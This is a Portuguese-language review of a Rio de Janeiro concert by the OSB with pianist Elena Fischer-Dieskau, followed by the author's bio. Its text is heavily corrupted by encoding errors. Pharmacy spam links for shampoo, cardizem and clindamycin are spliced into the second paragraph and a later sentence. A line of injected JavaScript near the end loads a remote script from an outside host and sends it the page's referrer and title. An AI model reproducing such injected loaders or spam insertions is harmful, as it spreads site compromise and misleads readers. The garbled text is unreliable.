CríticaMúsica sinfônicaRio de Janeiro

Todas as cores do amor

OSB, Louis LangrA�e e Elena Fischer-Dieskau desandam em Rachmaninoff, mas orquestra acerta em Schoenberg.

 

A noite de 14 de abril prometia. O cA�lebre Segundo Concerto de Serguei Rachmaninoff, A�cone do Romantismo russo, e uma obra de Arnold Schoenberg a�� PA�lleas e MA�lisande Purchase Order buy nizoral shampoo online a�� inA�dita em terras cariocas. Para executA?-las, a Orquestra SinfA?nica Brasileira (OSB) Buy http://mochammad-rifqi.mhs.narotama.ac.id/2018/02/02/how-much-clindamycin-for-uti/ cheap cardizem generic online , com dois convidados especiais: o maestro francA?s Louis LangrA�e e a pianista alemA? Elena Fischer-Dieskau, sua afilhada.

Ao subir o pano do Theatro Municipal do Rio de Janeiro, entra em cena a jovem solista. Esguia, acanhada, a neta do insubstituA�vel barA�tono Dietrich Fischer-Dieskau mais parecia uma personagem de um romance inglA?s de A�poca a�� uma jovem heroA�na de Emily BrontA� ou Jane Austen. Ao sentar-se ao piano, no entanto, transforma-se em uma guerreira cheia de som e fA?ria.

Mas apesar da A?tima tA�cnica e do fraseado expressivo da pianista, algo nA?o deu certo naquele Concerto para piano e orquestra n. 2 em dA? menor, Op. 18, de Rachmaninoff. Sob a batuta de LangrA�e, a OSB soou pastosa e arrastada. Talvez, ao pesar a mA?o na intenA�A?o romA?ntica, o maestro tenha feito desandar o andamento da vA�vida orquestra. As sutilezas se foram a�� nem mesmo o solo de clarineta do segundo movimento (Adagio sostenuto) soou desenvolto. O terceiro e A?ltimo movimento (Allegro scherzando) foi um pouco melhor, mas, ainda assim, faltou ao regente um ajuste fino na dinA?mica do grupo. Merecidamente, porA�m, a pianista foi ovacionada pela plateia.

Uma orquestra em melhor forma e um maestro com muito mais eloquA?ncia voltaram A� ribalta apA?s o intervalo. Na execuA�A?o do poema sinfA?nico PA�lleas e MA�lisande, Op. 5 Buy , de Schoenberg a�� obra desconhecida para muitos cariocas a��, os mA?sicos expressam um espectro muito mais amplo de variaA�A�es intencionais, rA�tmicas e melA?dicas. Nesta segunda obra, a OSB mostra uma incrA�vel interaA�A?o entre sopros e cordas (com destaque para as harpas). A seA�A?o de percussA?o A� impecA?vel e os metais estA?o plenos de vigor. Todas as nuances da histA?ria de amor e tristeza de Maurice Maeterlinck sA?o reproduzidas por maestro e orquestra inspirados.

No palco, amores romA?nticos, russos, melosos, simbolistas, trA?gicos, inspirados. Na plateia contemporA?nea, dois rapazes dA?o as mA?os, embalados pelo clima romA?ntico do concerto de Rachmaninoff. A mA?sica nA?o dA? espaA�o aos preconceitos e revela todas as cores do amor.

 s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Fabiano Gonçalves
Publicitário e roteirista (formado no Maurits Binger Film Institute - Amsterdã). Corroteirista do longa O Amor Está no Ar e de programas de TV (novela Chiquititas - 1998/2000). Redator na revista SuiGeneris, no site Escola24horas e no Departamento Nacional do Senac. Um dos fundadores do movimento.com, escreve também sobre televisão para o site teledossie.com.br. - E-mail: fabiano@movimento.com